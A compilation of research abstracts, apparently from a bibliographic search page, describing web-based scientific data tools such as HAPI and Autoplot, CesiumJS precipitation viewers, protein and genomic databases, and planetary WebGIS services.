Autoplot handles data from a variety of data servers. These servers communicate data in different forms, each somewhat different in capabilities and each needing new software to interface. The Heliophysics Application Programmer's Interface (HAPI) attempts to ease this by providing a standard target for clients and servers to meet. Autoplot fully supports reading data from HAPI servers, and support continues to improve as the HAPI server spec matures. This collaboration has already produced robust clients and documentation which would be expensive for groups creating their own protocol. For example, client-side data caching is introduced where Autoplot maintains a cache of data for performance and off-line use. This is a feature we considered for previous data systems, but we could never afford the time to study and implement this carefully. Also, Autoplot itself can be used as a server, making the data it can read and the results of its processing available to other data systems. Autoplot use with other data transmission systems is reviewed as well, outlining features of each system.

Interactive Visualization of Near Real-Time and Production Global Precipitation Mission Data Online Using CesiumJS

NASA Astrophysics Data System (ADS)

Lammers, M.

2016-12-01

Advancements in the capabilities of JavaScript frameworks and web browsing technology make online visualization of large geospatial datasets viable. Commonly this is done using static image overlays, pre-rendered animations, or cumbersome geoservers. These methods can limit interactivity and/or place a large burden on server-side post-processing and storage of data. Geospatial data, and satellite data specifically, benefit from being visualized both on and above a three-dimensional surface. The open-source JavaScript framework CesiumJS, developed by Analytical Graphics, Inc., leverages the WebGL protocol to do just that. It has entered the void left by the abandonment of the Google Earth Web API, and it serves as a capable and well-maintained platform upon which data can be displayed. This paper will describe the technology behind the two primary products developed as part of the NASA Precipitation Processing System STORM website: GPM Near Real Time Viewer (GPMNRTView) and STORM Virtual Globe (STORM VG). GPMNRTView reads small post-processed CZML files derived from various Level 1 through 3 near real-time products. For swath-based products, several brightness temperature channels or precipitation-related variables are available for animating in virtual real-time as the satellite observed them on and above the Earth's surface. With grid-based products, only precipitation rates are available, but the grid points are visualized in such a way that they can be interactively examined to explore raw values. STORM VG reads values directly off the HDF5 files, converting the information into JSON on the fly. All data points both on and above the surface can be examined here as well. Both the raw values and, if relevant, elevations are displayed. Surface and above-ground precipitation rates from select Level 2 and 3 products are shown. Examples from both products will be shown, including visuals from high impact events observed by GPM constellation satellites.

Interactive Visualization of Near Real Time and Production Global Precipitation Measurement (GPM) Mission Data Online Using CesiumJS

NASA Technical Reports Server (NTRS)

Lammers, Matthew

2016-01-01

Advancements in the capabilities of JavaScript frameworks and web browsing technology make online visualization of large geospatial datasets viable. Commonly this is done using static image overlays, prerendered animations, or cumbersome geoservers. These methods can limit interactivity andor place a large burden on server-side post-processing and storage of data. Geospatial data, and satellite data specifically, benefit from being visualized both on and above a three-dimensional surface. The open-source JavaScript framework CesiumJS, developed by Analytical Graphics, Inc., leverages the WebGL protocol to do just that. It has entered the void left by the abandonment of the Google Earth Web API, and it serves as a capable and well-maintained platform upon which data can be displayed. This paper will describe the technology behind the two primary products developed as part of the NASA Precipitation Processing System STORM website: GPM Near Real Time Viewer (GPMNRTView) and STORM Virtual Globe (STORM VG). GPMNRTView reads small post-processed CZML files derived from various Level 1 through 3 near real-time products. For swath-based products, several brightness temperature channels or precipitation-related variables are available for animating in virtual real-time as the satellite-observed them on and above the Earths surface. With grid-based products, only precipitation rates are available, but the grid points are visualized in such a way that they can be interactively examined to explore raw values. STORM VG reads values directly off the HDF5 files, converting the information into JSON on the fly. All data points both on and above the surface can be examined here as well. Both the raw values and, if relevant, elevations are displayed. Surface and above-ground precipitation rates from select Level 2 and 3 products are shown. Examples from both products will be shown, including visuals from high impact events observed by GPM constellation satellites.

WEBSLIDE: A "Virtual" Slide Projector Based on World Wide Web

NASA Astrophysics Data System (ADS)

Barra, Maria; Ferrandino, Salvatore; Scarano, Vittorio

1999-03-01

We present here the design key concepts of WEBSLIDE, a software project whose objective is to provide a simple, cheap and efficient solution for showing slides during lessons in computer labs. In fact, WEBSLIDE allows the video monitors of several client machines (the "STUDENTS") to be synchronously updated by the actions of a particular client machine, called the "INSTRUCTOR." The system is based on the World Wide Web and the software components of WEBSLIDE mainly consists in a WWW server, browsers and small Cgi-Bill scripts. What makes WEBSLIDE particularly appealing for small educational institutions is that WEBSLIDE is built with "off the shelf" products: it does not involve using a specifically designed program but any Netscape browser, one of the most popular browsers available on the market, is sufficient. Another possible use is to use our system to implement "guided automatic tours" through several pages or Intranets internal news bulletins: the company Web server can broadcast to all employees relevant information on their browser.

Construction of web-based nutrition education contents and searching engine for usage of healthy menu of children

PubMed Central

Lee, Tae-Kyong; Chung, Hea-Jung; Park, Hye-Kyung; Lee, Eun-Ju; Nam, Hye-Seon; Jung, Soon-Im; Cho, Jee-Ye; Lee, Jin-Hee; Kim, Gon; Kim, Min-Chan

2008-01-01

A diet habit, which is developed in childhood, lasts for a life time. In this sense, nutrition education and early exposure to healthy menus in childhood is important. Children these days have easy access to the internet. Thus, a web-based nutrition education program for children is an effective tool for nutrition education of children. This site provides the material of the nutrition education for children with characters which are personified nutrients. The 151 menus are stored in the site together with video script of the cooking process. The menus are classified by the criteria based on age, menu type and the ethnic origin of the menu. The site provides a search function. There are three kinds of search conditions which are key words, menu type and "between" expression of nutrients such as calorie and other nutrients. The site is developed with the operating system Windows 2003 Server, the web server ZEUS 5, development language JSP, and database management system Oracle 10 g. PMID:20126375

The RING 2.0 web server for high quality residue interaction networks.

PubMed

Piovesan, Damiano; Minervini, Giovanni; Tosatto, Silvio C E

2016-07-08

Residue interaction networks (RINs) are an alternative way of representing protein structures where nodes are residues and arcs physico-chemical interactions. RINs have been extensively and successfully used for analysing mutation effects, protein folding, domain-domain communication and catalytic activity. Here we present RING 2.0, a new version of the RING software for the identification of covalent and non-covalent bonds in protein structures, including π-π stacking and π-cation interactions. RING 2.0 is extremely fast and generates both intra and inter-chain interactions including solvent and ligand atoms. The generated networks are very accurate and reliable thanks to a complex empirical re-parameterization of distance thresholds performed on the entire Protein Data Bank. By default, RING output is generated with optimal parameters but the web server provides an exhaustive interface to customize the calculation. The network can be visualized directly in the browser or in Cytoscape. Alternatively, the RING-Viz script for Pymol allows visualizing the interactions at atomic level in the structure. The web server and RING-Viz, together with an extensive help and tutorial, are available from URL: http://protein.bio.unipd.it/ring. © The Author(s) 2016. Published by Oxford University Press on behalf of Nucleic Acids Research.

Biographer: web-based editing and rendering of SBGN compliant biochemical networks.

PubMed

Krause, Falko; Schulz, Marvin; Ripkens, Ben; Flöttmann, Max; Krantz, Marcus; Klipp, Edda; Handorf, Thomas

2013-06-01

The rapid accumulation of knowledge in the field of Systems Biology during the past years requires advanced, but simple-to-use, methods for the visualization of information in a structured and easily comprehensible manner. We have developed biographer, a web-based renderer and editor for reaction networks, which can be integrated as a library into tools dealing with network-related information. Our software enables visualizations based on the emerging standard Systems Biology Graphical Notation. It is able to import networks encoded in various formats such as SBML, SBGN-ML and jSBGN, a custom lightweight exchange format. The core package is implemented in HTML5, CSS and JavaScript and can be used within any kind of web-based project. It features interactive graph-editing tools and automatic graph layout algorithms. In addition, we provide a standalone graph editor and a web server, which contains enhanced features like web services for the import and export of models and visualizations in different formats. The biographer tool can be used at and downloaded from the web page http://biographer.biologie.hu-berlin.de/. The different software packages, including a server-independent version as well as a web server for Windows and Linux based systems, are available at http://code.google.com/p/biographer/ under the open-source license LGPL

User-driven Cloud Implementation of environmental models and data for all

NASA Astrophysics Data System (ADS)

Gurney, R. J.; Percy, B. J.; Elkhatib, Y.; Blair, G. S.

2014-12-01

Environmental data and models come from disparate sources over a variety of geographical and temporal scales with different resolutions and data standards, often including terabytes of data and model simulations. Unfortunately, these data and models tend to remain solely within the custody of the private and public organisations which create the data, and the scientists who build models and generate results. Although many models and datasets are theoretically available to others, the lack of ease of access tends to keep them out of reach of many. We have developed an intuitive web-based tool that utilises environmental models and datasets located in a cloud to produce results that are appropriate to the user. Storyboards showing the interfaces and visualisations have been created for each of several exemplars. A library of virtual machine images has been prepared to serve these exemplars. Each virtual machine image has been tailored to run computer models appropriate to the end user. Two approaches have been used; first as RESTful web services conforming to the Open Geospatial Consortium (OGC) Web Processing Service (WPS) interface standard using the Python-based PyWPS; second, a MySQL database interrogated using PHP code. In all cases, the web client sends the server an HTTP GET request to execute the process with a number of parameter values and, once execution terminates, an XML or JSON response is sent back and parsed at the client side to extract the results. All web services are stateless, i.e. application state is not maintained by the server, reducing its operational overheads and simplifying infrastructure management tasks such as load balancing and failure recovery. A hybrid cloud solution has been used with models and data sited on both private and public clouds. The storyboards have been transformed into intuitive web interfaces at the client side using HTML, CSS and JavaScript, utilising plug-ins such as jQuery and Flot (for graphics), and Google Maps APIs. We have demonstrated that a cloud infrastructure can be used to assemble a virtual research environment that, coupled with a user-driven development approach, is able to cater to the needs of a wide range of user groups, from domain experts to concerned members of the general public.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Duro, Francisco Rodrigo; Garcia Blas, Javier; Isaila, Florin

This paper explores novel techniques for improving the performance of many-task workflows based on the Swift scripting language. We propose novel programmer options for automated distributed data placement and task scheduling. These options trigger a data placement mechanism used for distributing intermediate workflow data over the servers of Hercules, a distributed key-value store that can be used to cache file system data. We demonstrate that these new mechanisms can significantly improve the aggregated throughput of many-task workflows with up to 86x, reduce the contention on the shared file system, exploit the data locality, and trade off locality and load balance.

BioconductorBuntu: a Linux distribution that implements a web-based DNA microarray analysis server.

PubMed

Geeleher, Paul; Morris, Dermot; Hinde, John P; Golden, Aaron

2009-06-01

BioconductorBuntu is a custom distribution of Ubuntu Linux that automatically installs a server-side microarray processing environment, providing a user-friendly web-based GUI to many of the tools developed by the Bioconductor Project, accessible locally or across a network. System installation is via booting off a CD image or by using a Debian package provided to upgrade an existing Ubuntu installation. In its current version, several microarray analysis pipelines are supported including oligonucleotide, dual-or single-dye experiments, including post-processing with Gene Set Enrichment Analysis. BioconductorBuntu is designed to be extensible, by server-side integration of further relevant Bioconductor modules as required, facilitated by its straightforward underlying Python-based infrastructure. BioconductorBuntu offers an ideal environment for the development of processing procedures to facilitate the analysis of next-generation sequencing datasets. BioconductorBuntu is available for download under a creative commons license along with additional documentation and a tutorial from (http://bioinf.nuigalway.ie).

A web-based solution for 3D medical image visualization

NASA Astrophysics Data System (ADS)

Hou, Xiaoshuai; Sun, Jianyong; Zhang, Jianguo

2015-03-01

In this presentation, we present a web-based 3D medical image visualization solution which enables interactive large medical image data processing and visualization over the web platform. To improve the efficiency of our solution, we adopt GPU accelerated techniques to process images on the server side while rapidly transferring images to the HTML5 supported web browser on the client side. Compared to traditional local visualization solution, our solution doesn't require the users to install extra software or download the whole volume dataset from PACS server. By designing this web-based solution, it is feasible for users to access the 3D medical image visualization service wherever the internet is available.

Template based protein structure modeling by global optimization in CASP11.

PubMed

Joo, Keehyoung; Joung, InSuk; Lee, Sun Young; Kim, Jong Yun; Cheng, Qianyi; Manavalan, Balachandran; Joung, Jong Young; Heo, Seungryong; Lee, Juyong; Nam, Mikyung; Lee, In-Ho; Lee, Sung Jong; Lee, Jooyoung

2016-09-01

For the template-based modeling (TBM) of CASP11 targets, we have developed three new protein modeling protocols (nns for server prediction and LEE and LEER for human prediction) by improving upon our previous CASP protocols (CASP7 through CASP10). We applied the powerful global optimization method of conformational space annealing to three stages of optimization, including multiple sequence-structure alignment, three-dimensional (3D) chain building, and side-chain remodeling. For more successful fold recognition, a new alignment method called CRFalign was developed. It can incorporate sensitive positional and environmental dependence in alignment scores as well as strong nonlinear correlations among various features. Modifications and adjustments were made to the form of the energy function and weight parameters pertaining to the chain building procedure. For the side-chain remodeling step, residue-type dependence was introduced to the cutoff value that determines the entry of a rotamer to the side-chain modeling library. The improved performance of the nns server method is attributed to successful fold recognition achieved by combining several methods including CRFalign and to the current modeling formulation that can incorporate native-like structural aspects present in multiple templates. The LEE protocol is identical to the nns one except that CASP11-released server models are used as templates. The success of LEE in utilizing CASP11 server models indicates that proper template screening and template clustering assisted by appropriate cluster ranking promises a new direction to enhance protein 3D modeling. Proteins 2016; 84(Suppl 1):221-232. © 2015 Wiley Periodicals, Inc. © 2015 Wiley Periodicals, Inc.

NeisseriaBase: a specialised Neisseria genomic resource and analysis platform.

PubMed

Zheng, Wenning; Mutha, Naresh V R; Heydari, Hamed; Dutta, Avirup; Siow, Cheuk Chuen; Jakubovics, Nicholas S; Wee, Wei Yee; Tan, Shi Yang; Ang, Mia Yang; Wong, Guat Jah; Choo, Siew Woh

2016-01-01

Background. The gram-negative Neisseria is associated with two of the most potent human epidemic diseases: meningococcal meningitis and gonorrhoea. In both cases, disease is caused by bacteria colonizing human mucosal membrane surfaces. Overall, the genus shows great diversity and genetic variation mainly due to its ability to acquire and incorporate genetic material from a diverse range of sources through horizontal gene transfer. Although a number of databases exist for the Neisseria genomes, they are mostly focused on the pathogenic species. In this present study we present the freely available NeisseriaBase, a database dedicated to the genus Neisseria encompassing the complete and draft genomes of 15 pathogenic and commensal Neisseria species. Methods. The genomic data were retrieved from National Center for Biotechnology Information (NCBI) and annotated using the RAST server which were then stored into the MySQL database. The protein-coding genes were further analyzed to obtain information such as calculation of GC content (%), predicted hydrophobicity and molecular weight (Da) using in-house Perl scripts. The web application was developed following the secure four-tier web application architecture: (1) client workstation, (2) web server, (3) application server, and (4) database server. The web interface was constructed using PHP, JavaScript, jQuery, AJAX and CSS, utilizing the model-view-controller (MVC) framework. The in-house developed bioinformatics tools implemented in NeisseraBase were developed using Python, Perl, BioPerl and R languages. Results. Currently, NeisseriaBase houses 603,500 Coding Sequences (CDSs), 16,071 RNAs and 13,119 tRNA genes from 227 Neisseria genomes. The database is equipped with interactive web interfaces. Incorporation of the JBrowse genome browser in the database enables fast and smooth browsing of Neisseria genomes. NeisseriaBase includes the standard BLAST program to facilitate homology searching, and for Virulence Factor Database (VFDB) specific homology searches, the VFDB BLAST is also incorporated into the database. In addition, NeisseriaBase is equipped with in-house designed tools such as the Pairwise Genome Comparison tool (PGC) for comparative genomic analysis and the Pathogenomics Profiling Tool (PathoProT) for the comparative pathogenomics analysis of Neisseria strains. Discussion. This user-friendly database not only provides access to a host of genomic resources on Neisseria but also enables high-quality comparative genome analysis, which is crucial for the expanding scientific community interested in Neisseria research. This database is freely available at http://neisseria.um.edu.my.

NeisseriaBase: a specialised Neisseria genomic resource and analysis platform

PubMed Central

Zheng, Wenning; Mutha, Naresh V.R.; Heydari, Hamed; Dutta, Avirup; Siow, Cheuk Chuen; Jakubovics, Nicholas S.; Wee, Wei Yee; Tan, Shi Yang; Ang, Mia Yang; Wong, Guat Jah

2016-01-01

Background. The gram-negative Neisseria is associated with two of the most potent human epidemic diseases: meningococcal meningitis and gonorrhoea. In both cases, disease is caused by bacteria colonizing human mucosal membrane surfaces. Overall, the genus shows great diversity and genetic variation mainly due to its ability to acquire and incorporate genetic material from a diverse range of sources through horizontal gene transfer. Although a number of databases exist for the Neisseria genomes, they are mostly focused on the pathogenic species. In this present study we present the freely available NeisseriaBase, a database dedicated to the genus Neisseria encompassing the complete and draft genomes of 15 pathogenic and commensal Neisseria species. Methods. The genomic data were retrieved from National Center for Biotechnology Information (NCBI) and annotated using the RAST server which were then stored into the MySQL database. The protein-coding genes were further analyzed to obtain information such as calculation of GC content (%), predicted hydrophobicity and molecular weight (Da) using in-house Perl scripts. The web application was developed following the secure four-tier web application architecture: (1) client workstation, (2) web server, (3) application server, and (4) database server. The web interface was constructed using PHP, JavaScript, jQuery, AJAX and CSS, utilizing the model-view-controller (MVC) framework. The in-house developed bioinformatics tools implemented in NeisseraBase were developed using Python, Perl, BioPerl and R languages. Results. Currently, NeisseriaBase houses 603,500 Coding Sequences (CDSs), 16,071 RNAs and 13,119 tRNA genes from 227 Neisseria genomes. The database is equipped with interactive web interfaces. Incorporation of the JBrowse genome browser in the database enables fast and smooth browsing of Neisseria genomes. NeisseriaBase includes the standard BLAST program to facilitate homology searching, and for Virulence Factor Database (VFDB) specific homology searches, the VFDB BLAST is also incorporated into the database. In addition, NeisseriaBase is equipped with in-house designed tools such as the Pairwise Genome Comparison tool (PGC) for comparative genomic analysis and the Pathogenomics Profiling Tool (PathoProT) for the comparative pathogenomics analysis of Neisseria strains. Discussion. This user-friendly database not only provides access to a host of genomic resources on Neisseria but also enables high-quality comparative genome analysis, which is crucial for the expanding scientific community interested in Neisseria research. This database is freely available at http://neisseria.um.edu.my. PMID:27017950

Interactive remote data processing using Pixelize Wavelet Filtration (PWF-method) and PeriodMap analysis

NASA Astrophysics Data System (ADS)

Sych, Robert; Nakariakov, Valery; Anfinogentov, Sergey

Wavelet analysis is suitable for investigating waves and oscillating in solar atmosphere, which are limited in both time and frequency. We have developed an algorithms to detect this waves by use the Pixelize Wavelet Filtration (PWF-method). This method allows to obtain information about the presence of propagating and non-propagating waves in the data observation (cube images), and localize them precisely in time as well in space. We tested the algorithm and found that the results of coronal waves detection are consistent with those obtained by visual inspection. For fast exploration of the data cube, in addition, we applied early-developed Period- Map analysis. This method based on the Fast Fourier Transform and allows on initial stage quickly to look for "hot" regions with the peak harmonic oscillations and determine spatial distribution at the significant harmonics. We propose the detection procedure of coronal waves separate on two parts: at the first part, we apply the PeriodMap analysis (fast preparation) and than, at the second part, use information about spatial distribution of oscillation sources to apply the PWF-method (slow preparation). There are two possible algorithms working with the data: in automatic and hands-on operation mode. Firstly we use multiply PWF analysis as a preparation narrowband maps at frequency subbands multiply two and/or harmonic PWF analysis for separate harmonics in a spectrum. Secondly we manually select necessary spectral subband and temporal interval and than construct narrowband maps. For practical implementation of the proposed methods, we have developed the remote data processing system at Institute of Solar-Terrestrial Physics, Irkutsk. The system based on the data processing server - http://pwf.iszf.irk.ru. The main aim of this resource is calculation in remote access through the local and/or global network (Internet) narrowband maps of wave's sources both in whole spectral band and at significant harmonics. In addition, we can obtain temporal dynamics (mpeg- files) of the main oscillation characteristics: amplitude, power and phase as a spatial-temporal coordinates. For periodogram mapping of data cubes as a method for the pre-analysis, we developed preparation of the color maps where the pixel's colour corresponds to the frequency of the power spectrum maximum. The computer system based on applications ION-scripts, algorithmic languages IDL and PHP, and Apache WEB server. The IDL ION-scripts use for preparation and configuration of network requests at the central data server with subsequent connection to IDL run-unit software and graphic output on FTP-server and screen. Web page is constructed using PHP language.

Medical high-resolution image sharing and electronic whiteboard system: A pure-web-based system for accessing and discussing lossless original images in telemedicine.

PubMed

Qiao, Liang; Li, Ying; Chen, Xin; Yang, Sheng; Gao, Peng; Liu, Hongjun; Feng, Zhengquan; Nian, Yongjian; Qiu, Mingguo

2015-09-01

There are various medical image sharing and electronic whiteboard systems available for diagnosis and discussion purposes. However, most of these systems ask clients to install special software tools or web plug-ins to support whiteboard discussion, special medical image format, and customized decoding algorithm of data transmission of HRIs (high-resolution images). This limits the accessibility of the software running on different devices and operating systems. In this paper, we propose a solution based on pure web pages for medical HRIs lossless sharing and e-whiteboard discussion, and have set up a medical HRI sharing and e-whiteboard system, which has four-layered design: (1) HRIs access layer: we improved an tile-pyramid model named unbalanced ratio pyramid structure (URPS), to rapidly share lossless HRIs and to adapt to the reading habits of users; (2) format conversion layer: we designed a format conversion engine (FCE) on server side to real time convert and cache DICOM tiles which clients requesting with window-level parameters, to make browsers compatible and keep response efficiency to server-client; (3) business logic layer: we built a XML behavior relationship storage structure to store and share users' behavior, to keep real time co-browsing and discussion between clients; (4) web-user-interface layer: AJAX technology and Raphael toolkit were used to combine HTML and JavaScript to build client RIA (rich Internet application), to meet clients' desktop-like interaction on any pure webpage. This system can be used to quickly browse lossless HRIs, and support discussing and co-browsing smoothly on any web browser in a diversified network environment. The proposal methods can provide a way to share HRIs safely, and may be used in the field of regional health, telemedicine and remote education at a low cost. Copyright © 2015 Elsevier Ireland Ltd. All rights reserved.

The iMars WebGIS - Spatio-Temporal Data Queries and Single Image Map Web Services

NASA Astrophysics Data System (ADS)

Walter, Sebastian; Steikert, Ralf; Schreiner, Bjoern; Muller, Jan-Peter; van Gasselt, Stephan; Sidiropoulos, Panagiotis; Lanz-Kroechert, Julia

2017-04-01

Introduction: Web-based planetary image dissemination platforms usually show outline coverages of the data and offer querying for metadata as well as preview and download, e.g. the HRSC Mapserver (Walter & van Gasselt, 2014). Here we introduce a new approach for a system dedicated to change detection by simultanous visualisation of single-image time series in a multi-temporal context. While the usual form of presenting multi-orbit datasets is the merge of the data into a larger mosaic, we want to stay with the single image as an important snapshot of the planetary surface at a specific time. In the context of the EU FP-7 iMars project we process and ingest vast amounts of automatically co-registered (ACRO) images. The base of the co-registration are the high precision HRSC multi-orbit quadrangle image mosaics, which are based on bundle-block-adjusted multi-orbit HRSC DTMs. Additionally we make use of the existing bundle-adjusted HRSC single images available at the PDS archives. A prototype demonstrating the presented features is available at http://imars.planet.fu-berlin.de. Multi-temporal database: In order to locate multiple coverage of images and select images based on spatio-temporal queries, we converge available coverage catalogs for various NASA imaging missions into a relational database management system with geometry support. We harvest available metadata entries during our processing pipeline using the Integrated Software for Imagers and Spectrometers (ISIS) software. Currently, this database contains image outlines from the MGS/MOC, MRO/CTX and the MO/THEMIS instruments with imaging dates ranging from 1996 to the present. For the MEx/HRSC data, we already maintain a database which we automatically update with custom software based on the VICAR environment. Web Map Service with time support: The MapServer software is connected to the database and provides Web Map Services (WMS) with time support based on the START_TIME image attribute. It allows temporal WMS GetMap requests by setting additional TIME parameter values in the request. The values for the parameter represent an interval defined by its lower and upper bounds. As the WMS time standard only supports one time variable, only the start times of the images are considered. If no time values are submitted with the request, the full time range of all images is assumed as the default. Dynamic single image WMS: To compare images from different acquisition times at sites of multiple coverage, we have to load every image as a single WMS layer. Due to the vast amount of single images we need a way to set up the layers in a dynamic way - the map server does not know the images to be served beforehand. We use the MapScript interface to dynamically access MapServer's objects and configure the file name and path of the requested image in the map configuration. The layers are created on-the-fly each representing only one single image. On the frontend side, the vendor-specific WMS request parameter (PRODUCTID) has to be appended to the regular set of WMS parameters. The request is then passed on to the MapScript instance. Web Map Tile Cache: In order to speed up access of the WMS requests, a MapCache instance has been integrated in the pipeline. As it is not aware of the available PDS product IDs which will be queried, the PRODUCTID parameter is configured as an additional dimension of the cache. The WMS request is received by the Apache webserver configured with the MapCache module. If the tile is available in the tile cache, it is immediately commited to the client. If not available, the tile request is forwarded to Apache and the MapScript module. The Python script intercepts the WMS request and extracts the product ID from the parameter chain. It loads the layer object from the map file and appends the file name and path of the inquired image. After some possible further image processing inside the script (stretching, color matching), the request is submitted to the MapServer backend which in turn delivers the response back to the MapCache instance. Web frontend: We have implemented a web-GIS frontend based on various OpenLayers components. The basemap is a global color-hillshaded HRSC bundle-adjusted DTM mosaic with a resolution of 50 m per pixel. The new bundle-block-adjusted qudrangle mosaics of the MC-11 quadrangle, both image and DTM, are included with opacity slider options. The layer user interface has been adapted on the base of the ol3-layerswitcher and extended by foldable and switchable groups, layer sorting (by resolution, by time and alphabeticallly) and reordering (drag-and-drop). A collapsible time panel accomodates a time slider interface where the user can filter the visible data by a range of Mars or Earth dates and/or by solar longitudes. The visualisation of time-series of single images is controlled by a specific toolbar enabling the workflow of image selection (by point or bounding box), dynamic image loading and playback of single images in a video player-like environment. During a stress-test campaign we could demonstrate that the system is capable of serving up to 10 simultaneous users on its current lightweight development hardware. It is planned to relocate the software to more powerful hardware by the time of this conference. Conclusions/Outlook: The iMars webGIS is an expert tool for the detection and visualization of surface changes. We demonstrate a technique to dynamically retrieve and display single images based on the time-series structure of the data. Together with the multi-temporal database and its MapServer/MapCache backend it provides a stable and high performance environment for the dissemination of the various iMars products. Acknowledgements: This research has received funding from the EU's FP7 Programme under iMars 607379 and by the German Space Agency (DLR Bonn), grant 50 QM 1301 (HRSC on Mars Express).

Migraine Headaches: Treatment & Research

MedlinePlus

... please turn JavaScript on. Feature: Migraine Headaches Treatment & Research Past Issues / Fall 2015 Table of Contents Nondrug ... since some drugs may cause side effects. What Research Is Being Done? Several studies either conducted or ...

Userscripts for the life sciences.

PubMed

Willighagen, Egon L; O'Boyle, Noel M; Gopalakrishnan, Harini; Jiao, Dazhi; Guha, Rajarshi; Steinbeck, Christoph; Wild, David J

2007-12-21

The web has seen an explosion of chemistry and biology related resources in the last 15 years: thousands of scientific journals, databases, wikis, blogs and resources are available with a wide variety of types of information. There is a huge need to aggregate and organise this information. However, the sheer number of resources makes it unrealistic to link them all in a centralised manner. Instead, search engines to find information in those resources flourish, and formal languages like Resource Description Framework and Web Ontology Language are increasingly used to allow linking of resources. A recent development is the use of userscripts to change the appearance of web pages, by on-the-fly modification of the web content. This opens possibilities to aggregate information and computational results from different web resources into the web page of one of those resources. Several userscripts are presented that enrich biology and chemistry related web resources by incorporating or linking to other computational or data sources on the web. The scripts make use of Greasemonkey-like plugins for web browsers and are written in JavaScript. Information from third-party resources are extracted using open Application Programming Interfaces, while common Universal Resource Locator schemes are used to make deep links to related information in that external resource. The userscripts presented here use a variety of techniques and resources, and show the potential of such scripts. This paper discusses a number of userscripts that aggregate information from two or more web resources. Examples are shown that enrich web pages with information from other resources, and show how information from web pages can be used to link to, search, and process information in other resources. Due to the nature of userscripts, scientists are able to select those scripts they find useful on a daily basis, as the scripts run directly in their own web browser rather than on the web server. This flexibility allows the scientists to tune the features of web resources to optimise their productivity.

Userscripts for the Life Sciences

PubMed Central

Willighagen, Egon L; O'Boyle, Noel M; Gopalakrishnan, Harini; Jiao, Dazhi; Guha, Rajarshi; Steinbeck, Christoph; Wild, David J

2007-01-01

Background The web has seen an explosion of chemistry and biology related resources in the last 15 years: thousands of scientific journals, databases, wikis, blogs and resources are available with a wide variety of types of information. There is a huge need to aggregate and organise this information. However, the sheer number of resources makes it unrealistic to link them all in a centralised manner. Instead, search engines to find information in those resources flourish, and formal languages like Resource Description Framework and Web Ontology Language are increasingly used to allow linking of resources. A recent development is the use of userscripts to change the appearance of web pages, by on-the-fly modification of the web content. This opens possibilities to aggregate information and computational results from different web resources into the web page of one of those resources. Results Several userscripts are presented that enrich biology and chemistry related web resources by incorporating or linking to other computational or data sources on the web. The scripts make use of Greasemonkey-like plugins for web browsers and are written in JavaScript. Information from third-party resources are extracted using open Application Programming Interfaces, while common Universal Resource Locator schemes are used to make deep links to related information in that external resource. The userscripts presented here use a variety of techniques and resources, and show the potential of such scripts. Conclusion This paper discusses a number of userscripts that aggregate information from two or more web resources. Examples are shown that enrich web pages with information from other resources, and show how information from web pages can be used to link to, search, and process information in other resources. Due to the nature of userscripts, scientists are able to select those scripts they find useful on a daily basis, as the scripts run directly in their own web browser rather than on the web server. This flexibility allows the scientists to tune the features of web resources to optimise their productivity. PMID:18154664

Designing and developing portable large-scale JavaScript web applications within the Experiment Dashboard framework

NASA Astrophysics Data System (ADS)

Andreeva, J.; Dzhunov, I.; Karavakis, E.; Kokoszkiewicz, L.; Nowotka, M.; Saiz, P.; Tuckett, D.

2012-12-01

Improvements in web browser performance and web standards compliance, as well as the availability of comprehensive JavaScript libraries, provides an opportunity to develop functionally rich yet intuitive web applications that allow users to access, render and analyse data in novel ways. However, the development of such large-scale JavaScript web applications presents new challenges, in particular with regard to code sustainability and team-based work. We present an approach that meets the challenges of large-scale JavaScript web application design and development, including client-side model-view-controller architecture, design patterns, and JavaScript libraries. Furthermore, we show how the approach leads naturally to the encapsulation of the data source as a web API, allowing applications to be easily ported to new data sources. The Experiment Dashboard framework is used for the development of applications for monitoring the distributed computing activities of virtual organisations on the Worldwide LHC Computing Grid. We demonstrate the benefits of the approach for large-scale JavaScript web applications in this context by examining the design of several Experiment Dashboard applications for data processing, data transfer and site status monitoring, and by showing how they have been ported for different virtual organisations and technologies.

CrossQuery: a web tool for easy associative querying of transcriptome data.

PubMed

Wagner, Toni U; Fischer, Andreas; Thoma, Eva C; Schartl, Manfred

2011-01-01

Enormous amounts of data are being generated by modern methods such as transcriptome or exome sequencing and microarray profiling. Primary analyses such as quality control, normalization, statistics and mapping are highly complex and need to be performed by specialists. Thereafter, results are handed back to biomedical researchers, who are then confronted with complicated data lists. For rather simple tasks like data filtering, sorting and cross-association there is a need for new tools which can be used by non-specialists. Here, we describe CrossQuery, a web tool that enables straight forward, simple syntax queries to be executed on transcriptome sequencing and microarray datasets. We provide deep-sequencing data sets of stem cell lines derived from the model fish Medaka and microarray data of human endothelial cells. In the example datasets provided, mRNA expression levels, gene, transcript and sample identification numbers, GO-terms and gene descriptions can be freely correlated, filtered and sorted. Queries can be saved for later reuse and results can be exported to standard formats that allow copy-and-paste to all widespread data visualization tools such as Microsoft Excel. CrossQuery enables researchers to quickly and freely work with transcriptome and microarray data sets requiring only minimal computer skills. Furthermore, CrossQuery allows growing association of multiple datasets as long as at least one common point of correlated information, such as transcript identification numbers or GO-terms, is shared between samples. For advanced users, the object-oriented plug-in and event-driven code design of both server-side and client-side scripts allow easy addition of new features, data sources and data types.

Multi-resolution extension for transmission of geodata in a mobile context

NASA Astrophysics Data System (ADS)

Follin, Jean-Michel; Bouju, Alain; Bertrand, Frédéric; Boursier, Patrice

2005-03-01

A solution is proposed for the management of multi-resolution vector data in a mobile spatial information visualization system. The client-server architecture and the models of data and transfer of the system are presented first. The aim of this system is to reduce data exchanged between client and server by reusing data already present on the client side. Then, an extension of this system to multi-resolution data is proposed. Our solution is based on the use of increments in a multi-scale database. A database architecture where data sets for different predefined scales are precomputed and stored on the server side is adopted. In this model, each object representing the same real world entities at different levels of detail has to be linked beforehand. Increments correspond to the difference between two datasets with different levels of detail. They are transmitted in order to increase (or decrease) the detail to the client upon request. They include generalization and refinement operators allowing transitions between the different levels. Finally, a framework suited to the transfer of multi-resolution data in a mobile context is presented. This allows reuse of data locally available at different levels of detail and, in this way, reduces the amount of data transferred between client and server.

The Four Levels of Web Site Development Expertise.

ERIC Educational Resources Information Center

Ingram, Albert L.

2000-01-01

Discusses the design of Web pages and sites and proposes a four-level model of Web development expertise that can serve as a curriculum overview or as a plan for an individual's professional development. Highlights include page design, media use, client-side processing, server-side processing, and site structure. (LRW)

Five Go Marking an Exam Question: The Use of Adaptive Comparative Judgement to Manage Subjective Bias

ERIC Educational Resources Information Center

Barber, Jill

2018-01-01

